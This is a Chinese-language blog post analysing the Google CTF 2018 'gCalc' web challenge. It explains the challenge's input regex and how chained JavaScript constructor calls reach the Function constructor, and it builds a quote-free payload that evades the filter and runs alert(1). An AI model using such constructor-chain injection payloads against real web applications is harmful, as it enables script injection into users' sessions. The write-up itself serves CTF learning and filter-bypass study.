Javascript constructor 相关小知识分享

看了 Orange大佬的 “Google CTF 2018 Quals Web Challenge - gCalc” 一文。发现了许多有趣的小技巧小知识。这里简单写一写关于这些小知识的理解。


分析正则表达式

原文中提到了一个在线正则表达式平台,使用了下确实好用。

1
/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/

这个正则表达式主要内容可以分为 三部分,注意各个部分是使用 | 进行分割:

1
?:[\(\)\*\/\+%\-0-9 ]

扩展解释下正则表达式

A|B 为或,匹配捕获 A 或者 B

A(?=B) 匹配时 AB 需要连着。捕获时只返回A

A(?!B) 匹配时 AB 不能连着。捕获时只返回A

A(?:B) 匹配时 AB 需要连着。但是不捕获。仅匹配。一般配合 | 使用。可以理解为 可有可无


这一段正则表达式的意思为,仅匹配 ( ) * / + % - 0-9 空格 这些字符


1
\bvars\b

\b 匹配一个单词边界,不过好像不太重要

这一段正则表达式的意思为,待匹配字符串必须存在 vars 这一个字符串


1
[.]\w+

这一段正则表达式的意思为,匹配 . 和各个单词字符

regex101 有 Debugger 模式,可以输入以下字符串进行匹配,更易理解

1
(vars).toString()

constructor

Object 都带有一个 constructor用于返回创建实例对象的构造函数的引用

不同类型会不一样。即什么类型的 constructor 将会返回什么类型的实例

1
2
3
4
5
6
x1 = 1
x1.constructor
[OUTPUT:] ƒ Number() { [native code] }

x1.toString().constructor
[OUTPUT:] ƒ String() { [native code] }

基本使用看官方文档就好了。


重点说下有意思的地方。

如果调用 一层 constructor。则这个构造函数是 对应类型 的构造函数。只能输入指定类型

1
2
3
4
5
6
x1 = 1
x1.constructor(33)
[OUTPUT:] 33

x1.constructor("aa")
[OUTPUT:] NaN

但是如果调用 多层 constructor. 则多层构造函数返回一个匿名函数。函数体内容为输入的参数:

1
2
3
4
5
6
x.constructor.constructor("alert(1)")
[OUTPUT:]
ƒ anonymous(
) {
alert(1)
}

要想实现调用,在末尾添加一对 () 即可。这是 js 调用函数的格式

1
x.constructor.constructor("alert(1)")()

在 writeup 中,由于无法传入单双引号。所以第一个 Payload 只能使用 fromCharCode() 的方式获取字符串


Javascript 无引号利用

文章中最终的 payload 为

1
(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())

首先需要理解,最终的 payload 是需要获取 vars 的索引值来 alert。

Javascript Object 中有个名为 keys 的方法。官网中有例子。

1
2
3
payload = {"alert(1)":0}
(Object).keys(payload)
[OUTPUT:] ["alert(1)"]

再结合 Array 的 pop 方法。我们就可以获取索引值了

1
2
3
payload = {"alert(1)":0}
(Object).keys(payload).pop()
[OUTPUT:] "alert(1)"

原 payload 是先使用正则表达式来获取 Object,然后才能获取索引值。我们来分析下

这一段使用正则表达式获取一个 Object

1
2
3
4
5
6
7
/1/.exec(1)
[OUTPUT:]
0: "1"
groups: undefined
index: 0
input: "1"
length: 1

通过 Object keys 方法获取到数组迭代器。

1
2
/1/.exec(1).keys(1)
[OUTPUT:] Array Iterator {}

有了数组迭代器,就可以快乐的使用 keys 和 pop 获取索引值了

1
/1/.exec(1).keys(1).constructor.keys(payload).pop()